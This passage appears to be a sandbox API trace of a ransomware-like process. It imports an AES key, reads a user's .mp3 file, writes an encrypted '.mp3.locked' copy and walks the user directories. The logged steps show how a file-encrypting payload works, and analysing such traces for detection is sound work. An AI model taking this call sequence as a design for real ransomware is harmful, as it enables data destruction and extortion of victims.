(param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x1619\x82d\x1bf3\x12ab\x9333\x75d9\x3b3a\xe1e8") returned 0x28 [0128.580] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x1619\x82d\x1bf3\x12ab\x9333\x75d9\x3b3a\xe1e8") returned 0x28 [0128.580] SystemFunction041 (in: Memory=0x8e703ec, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e703ec) returned 0x0 [0128.580] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0፽굥ᑋ") returned 0x28 [0128.581] SystemFunction040 (in: Memory=0x8e703ec, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e703ec) returned 0x0 [0128.581] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x2d34\x22d\x1f9b\x41c3\x7a3b\xdfbe\x223c\xc5f3") returned 0x28 [0128.581] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x2d34\x22d\x1f9b\x41c3\x7a3b\xdfbe\x223c\xc5f3") returned 0x28 [0128.581] SystemFunction041 (in: Memory=0x8e703ec, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e703ec) returned 0x0 [0128.581] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0N굥ᑋ") returned 0x28 [0128.581] SystemFunction040 (in: Memory=0x8e703ec, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e703ec) returned 0x0 [0128.581] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x70e7\x9778\xf41b\x35a4\x29ea\x7616\x9cd\x19e3") returned 0x28 [0128.581] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x70e7\x9778\xf41b\x35a4\x29ea\x7616\x9cd\x19e3") returned 0x28 [0128.581] SystemFunction041 (in: Memory=0x8e703ec, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e703ec) returned 0x0 [0128.581] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0NTᑋ") returned 0x28 [0128.581] SystemFunction040 (in: Memory=0x8e703ec, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e703ec) returned 0x0 [0128.581] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x46cc\x8f10\x2a8e\x376c\x9fc1\x19c4\x83b7\x6d7c") returned 0x28 [0128.581] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x46cc\x8f10\x2a8e\x376c\x9fc1\x19c4\x83b7\x6d7c") returned 0x28 [0128.581] SystemFunction041 (in: Memory=0x8e703ec, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e703ec) returned 0x0 [0128.581] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0NTAᑋ") returned 0x28 [0128.581] SystemFunction040 (in: Memory=0x8e703ec, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e703ec) returned 0x0 [0128.581] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xfed7\xc832\xd0f1\x4f86\x1ac\x2010\xca10\x76f8") returned 0x28 [0128.581] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xfed7\xc832\xd0f1\x4f86\x1ac\x2010\xca10\x76f8") returned 0x28 [0128.581] SystemFunction041 (in: Memory=0x8e703ec, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e703ec) returned 0x0 [0128.581] SystemFunction040 (in: Memory=0x8e703ec, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e703ec) returned 0x0 [0128.581] SystemFunction041 (in: Memory=0x8e314e4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e314e4) returned 0x0 [0128.582] SystemFunction040 (in: Memory=0x8e314e4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e314e4) returned 0x0 [0128.582] SystemFunction041 (in: Memory=0x8e314e4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e314e4) returned 0x0 [0128.582] SystemFunction040 (in: Memory=0x8e314e4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e314e4) returned 0x0 [0128.582] SystemFunction041 (in: Memory=0x8e314e4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e314e4) returned 0x0 [0128.582] SystemFunction040 (in: Memory=0x8e314e4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e314e4) returned 0x0 [0128.582] SystemFunction041 (in: Memory=0x8e314e4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e314e4) returned 0x0 [0128.582] SystemFunction040 (in: Memory=0x8e314e4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e314e4) returned 0x0 [0128.582] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae960*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae960*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x8d, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.583] SystemFunction041 (in: Memory=0x8e314e4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e314e4) returned 0x0 [0128.583] SystemFunction040 (in: Memory=0x8e314e4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e314e4) returned 0x0 [0128.583] CryptAcquireContextW (in: phProv=0x99ae6e0, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x99ae6e0*=0x43969b0) returned 1 [0128.584] CryptImportKey (in: hProv=0x43969b0, pbData=0x6a8ac00, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x1, phKey=0x99aeab8 | out: phKey=0x99aeab8*=0x8e84d38) returned 1 [0128.584] CryptContextAddRef (hProv=0x43969b0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0128.584] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae7b8, nSize=0x100 | out: lpBuffer="\xaaf8\x6a8") returned 0x0 [0128.584] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99aeb90*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeb90*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x8e, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.584] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aeaf0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeaf0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x8d, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.584] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeb80*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x8e, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeb80*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x8e, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.585] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\pAQR6Uhb8oyXxz.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\paqr6uhb8oyxxz.mp3")) returned 0x20 [0128.586] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\pAQR6Uhb8oyXxz.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\paqr6uhb8oyxxz.mp3")) returned 0x20 [0128.586] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\pAQR6Uhb8oyXxz.mp3", nBufferLength=0x105, lpBuffer=0x99ae470, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\pAQR6Uhb8oyXxz.mp3", lpFilePart=0x0) returned 0x30 [0128.586] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\pAQR6Uhb8oyXxz.mp3", nBufferLength=0x105, lpBuffer=0x99ae434, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\pAQR6Uhb8oyXxz.mp3", lpFilePart=0x0) returned 0x30 [0128.586] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aeb1c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeb1c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x8e, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.586] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\pAQR6Uhb8oyXxz.mp3", nBufferLength=0x105, lpBuffer=0x99ae1bc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\pAQR6Uhb8oyXxz.mp3", lpFilePart=0x0) returned 0x30 [0128.587] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\pAQR6Uhb8oyXxz.mp3", nBufferLength=0x105, lpBuffer=0x99ae1bc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\pAQR6Uhb8oyXxz.mp3", lpFilePart=0x0) returned 0x30 [0128.587] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae2c4, nSize=0x100 | out: lpBuffer="") returned 0x0 [0128.587] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae69c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae69c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x8f, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.587] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae5fc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae5fc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x8e, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.587] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x8f, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x8f, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.588] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\pAQR6Uhb8oyXxz.mp3", nBufferLength=0x105, lpBuffer=0x99ada90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\pAQR6Uhb8oyXxz.mp3", lpFilePart=0x0) returned 0x30 [0128.588] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99adf84) returned 1 [0128.588] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\pAQR6Uhb8oyXxz.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\paqr6uhb8oyxxz.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x874 [0128.588] GetFileType (hFile=0x874) returned 0x1 [0128.588] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99adf80) returned 1 [0128.588] GetFileType (hFile=0x874) returned 0x1 [0128.588] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae628*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae628*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x8f, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.589] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae2c4, nSize=0x100 | out: lpBuffer="\x1000\x727a\xe3b0\x99a\x2810\x64b\x1228\x64b\xbab0\x42f\x14\x01\x1230\x64b\xd440\x73ae\x20") returned 0x0 [0128.589] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae69c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae69c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x90, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.589] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae5fc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae5fc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x8f, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.589] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x90, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x90, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.589] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\pAQR6Uhb8oyXxz.mp3.locked", nBufferLength=0x105, lpBuffer=0x99ada90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\pAQR6Uhb8oyXxz.mp3.locked", lpFilePart=0x0) returned 0x37 [0128.589] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99adf84) returned 1 [0128.589] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\pAQR6Uhb8oyXxz.mp3.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\paqr6uhb8oyxxz.mp3.locked"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x868 [0128.590] GetFileType (hFile=0x868) returned 0x1 [0128.590] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99adf80) returned 1 [0128.590] GetFileType (hFile=0x868) returned 0x1 [0128.590] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae628*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae628*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x90, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.590] CryptGenRandom (in: hProv=0x43969b0, dwLen=0x10, pbBuffer=0x6aa04c0 | out: pbBuffer=0x6aa04c0) returned 1 [0128.591] CryptContextAddRef (hProv=0x43969b0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0128.591] CryptDuplicateKey (in: hKey=0x8e84d38, pdwReserved=0x0, dwFlags=0x0, phKey=0x99ae6bc | out: phKey=0x99ae6bc*=0x8e84af8) returned 1 [0128.591] CryptContextAddRef (hProv=0x43969b0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0128.591] CryptSetKeyParam (hKey=0x8e84af8, dwParam=0x4, pbData=0x6aa177c*=0x1, dwFlags=0x0) returned 1 [0128.591] CryptSetKeyParam (hKey=0x8e84af8, dwParam=0x1, pbData=0x6aa1748, dwFlags=0x0) returned 1 [0128.592] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae2c4, nSize=0x100 | out: lpBuffer="\xe2f0\x99a\x18b2\x7477\xdd0\x438\x242") returned 0x0 [0128.592] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae69c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae69c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x91, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.592] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae5fc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae5fc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x90, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.592] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x91, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x91, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.592] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae628*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae628*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x91, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.592] ReadFile (in: hFile=0x874, lpBuffer=0x6aa4cd8, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x99ae6cc, lpOverlapped=0x0 | out: lpBuffer=0x6aa4cd8*, lpNumberOfBytesRead=0x99ae6cc*=0x45a0, lpOverlapped=0x0) returned 1 [0128.593] CryptEncrypt (in: hKey=0x8e84af8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6ab8ce4*, pdwDataLen=0x99ae6c0*=0x45a0, dwBufLen=0x45a0 | out: pbData=0x6ab8ce4*, pdwDataLen=0x99ae6c0*=0x45a0) returned 1 [0128.593] WriteFile (in: hFile=0x868, lpBuffer=0x6aa0580*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x99ae6a4, lpOverlapped=0x0 | out: lpBuffer=0x6aa0580*, lpNumberOfBytesWritten=0x99ae6a4*=0x1000, lpOverlapped=0x0) returned 1 [0128.593] WriteFile (in: hFile=0x868, lpBuffer=0x6ab9cd0*, nNumberOfBytesToWrite=0x35b4, lpNumberOfBytesWritten=0x99ae6a4, lpOverlapped=0x0 | out: lpBuffer=0x6ab9cd0*, lpNumberOfBytesWritten=0x99ae6a4*=0x35b4, lpOverlapped=0x0) returned 1 [0128.594] ReadFile (in: hFile=0x874, lpBuffer=0x6aa4cd8, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x99ae6cc, lpOverlapped=0x0 | out: lpBuffer=0x6aa4cd8*, lpNumberOfBytesRead=0x99ae6cc*=0x0, lpOverlapped=0x0) returned 1 [0128.594] CryptEncrypt (in: hKey=0x8e84af8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6abd2a8*, pdwDataLen=0x99ae714*=0x10, dwBufLen=0x10 | out: pbData=0x6abd2a8*, pdwDataLen=0x99ae714*=0x10) returned 1 [0128.594] CryptEncrypt (in: hKey=0x8e84af8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6abd2dc*, pdwDataLen=0x99ae71c*=0x0, dwBufLen=0x10 | out: pbData=0x6abd2dc*, pdwDataLen=0x99ae71c*=0x10) returned 1 [0128.594] WriteFile (in: hFile=0x868, lpBuffer=0x6aa0580*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x99ae6ec, lpOverlapped=0x0 | out: lpBuffer=0x6aa0580*, lpNumberOfBytesWritten=0x99ae6ec*=0x10, lpOverlapped=0x0) returned 1 [0128.594] CloseHandle (hObject=0x868) returned 1 [0128.595] CloseHandle (hObject=0x874) returned 1 [0128.595] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\pAQR6Uhb8oyXxz.mp3", nBufferLength=0x105, lpBuffer=0x99ae1bc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\pAQR6Uhb8oyXxz.mp3", lpFilePart=0x0) returned 0x30 [0128.596] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae2c4, nSize=0x100 | out: lpBuffer="") returned 0x0 [0128.596] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae69c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae69c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x92, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.596] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae5fc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae5fc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x91, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.596] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x92, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x92, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.597] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\pAQR6Uhb8oyXxz.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\paqr6uhb8oyxxz.mp3")) returned 0x20 [0128.597] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\pAQR6Uhb8oyXxz.mp3", nBufferLength=0x105, lpBuffer=0x99adec4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\pAQR6Uhb8oyXxz.mp3", lpFilePart=0x0) returned 0x30 [0128.597] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0128.597] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0128.598] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x99ade48, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0128.598] GetFullPathNameW (in: lpFileName="C:\\.", nBufferLength=0x105, lpBuffer=0x99adde0, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0128.598] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0128.598] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0128.598] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x105, lpBuffer=0x99ade48, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0128.598] GetFullPathNameW (in: lpFileName="C:\\Users\\.", nBufferLength=0x105, lpBuffer=0x99adde0, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0128.598] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps" (normalized: "c:\\users\\ciihmnxmn6ps")) returned 0x10 [0128.598] GetFileAttributesW 